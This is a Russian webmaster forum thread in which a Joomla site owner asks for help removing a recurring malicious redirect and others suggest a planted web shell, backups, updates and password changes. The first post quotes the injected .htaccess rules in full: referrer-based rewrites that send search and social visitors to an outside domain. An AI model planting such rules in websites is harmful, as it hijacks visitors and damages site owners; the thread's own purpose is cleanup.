X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

Открыть тему
Тема закрыта
> Зловред редиректит на гугл, абзац..., ----
Bulava11
Bulava11
Topic Starter сообщение 4.9.2012, 10:44; Ответить: Bulava11
Сообщение #1


Братцы, помогите! wacko.gif

Завелся на нашем сайте зловредный редирект и в файле .htaccess во всех каталогах. ПРичем когда его удаляешь и видоизменяешь он сам автоматом прописывается вновь. Самое забавное, что редирект идет на гугль. И если допустим заправшивать наш сайт с гугла, то по ссылке, предложенной в гугле ОПЯТЬ ПОПАДЕШЬ НА ГУГЛ, короче посетителей с гугла потеряли. cms - joomla 1.5. Может кто-то сталкивался, подскажет в каком файлике чего затереить и какие файлики вообще убить. ВОт что прописано в .htaccess:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|ao
l|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|fac
e
book|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|
g
igablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|eu
r
oseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slid
e
r|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodse
a
rch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abac
h
o|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|in
f
ospace)\.(.*)
RewriteRule ^(.*)$ http://installmentultradev.ru/Graphs?8 [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|v
oila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|e
n
iro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|e
b
ay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|g
i
mpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simply
h
ired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac
|
findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|k
o
mpass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|sta
r
tsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westau
s
traliaonline)\.(.*)
RewriteRule ^(.*)$ http://installmentultradev.ru/Graphs?8 [R=301,L]
</IfModule>

p.s. Готовы если кто сможет удалить эту заразу оплатить труды.
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
BestProxies
BestProxies
сообщение 4.9.2012, 11:06; Ответить: BestProxies
Сообщение #2


Вероятно на хостинге у вас залит веб-шелл, с помощью которого злоумышленники выставляют редирект снова и снова. Необходимо его удалить, попробуйте воспользоваться скриптом айболит


--------------------
Best-Proxies.ru - тысячи проверенных свежих прокси, недорого
Прокси проверяются на работу с Яндекс, Google, Twitter, Mail.ru и на возможность отправки почты


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Frankie
Frankie
сообщение 4.9.2012, 11:11; Ответить: Frankie
Сообщение #3


подозреваю дыру, попробуйте систему http://www.siteguard.ru/ заюзать, может она вам скажет где ваш "зловред" поселился


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
kstnews
kstnews
сообщение 5.9.2012, 4:49; Ответить: kstnews
Сообщение #4


Как вариант (если не так давно завелся) - восстановиться из бэкапа, сохраненному перед "заведением".


--------------------
Пессимист, это вооружённый знаниями оптимист.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
BestProxies
BestProxies
сообщение 5.9.2012, 8:11; Ответить: BestProxies
Сообщение #5


После того как удалите шелл, не забудьте установить все обновления для движка, и сменить пароли админки/ftp/ssh

Сообщение отредактировал BestProxies - 5.9.2012, 8:12


--------------------
Best-Proxies.ru - тысячи проверенных свежих прокси, недорого
Прокси проверяются на работу с Яндекс, Google, Twitter, Mail.ru и на возможность отправки почты


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Bulava11
Bulava11
Topic Starter сообщение 5.9.2012, 8:17; Ответить: Bulava11
Сообщение #6


Как вариант (если не так давно завелся) - восстановиться из бэкапа, сохраненному перед "заведением".


Заметили слишком поздно, в самом раннем бекапе уже присутствует эта пакость.

После того как удалите шелл, не забудьте установить все обновления для движка, и сменить пароли админки/ftp/ssh


Спасибо, учту.

p.s. Спасибо друзья, справился не без вашей помощи.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rxp
Rxp
сообщение 5.9.2012, 22:03; Ответить: Rxp
Сообщение #7


ТС если повторится обращайтесь проведем полную проверку на все виды вирусов и + дадим рекомендации!


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Electric
Electric
сообщение 10.9.2012, 14:33; Ответить: Electric
Сообщение #8


Попробуйте почитать эту тему, там упоминалась проблема с htaccess и зловредными редиректами.

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Agent Accounts Google, TikTok, Bing, Facebook, VK, Yandex.Direct with balances(Агентские аккаунты Гугл,Фейсбук,ВКонтакте,Директ)
Не платите НДС 20% + Постоплата (Возврат до 50% бюджета)
0 ipnesterov 2282 21.4.2020, 15:54
автор: ipnesterov
Открытая тема (нет новых ответов) Ищу волшебника Гугл-таблиц
2 Bel_Ami 2051 6.12.2019, 19:36
автор: REGNET
Открытая тема (нет новых ответов) Куплю гугл отзывы на карте google
Желательно люди с Украины и хотя бы базовым уровнем
2 jorjo22 3163 13.7.2019, 23:23
автор: aleks19
Открытая тема (нет новых ответов) Настройка и ведение ваших компаний по контекстной рекламе Яндекс Директ и Гугл Эдвордс
23 AvramLincoln 10352 5.2.2019, 13:36
автор: AvramLincoln
Открытая тема (нет новых ответов) Оптимизирую Скорость Загрузки Вашего Сайта и Увеличу количество баллов в Гугл Пейдж Спид
0 procsi 3480 18.12.2017, 17:40
автор: procsi


 



RSS Текстовая версия Сейчас: 20.4.2024, 6:10
Дизайн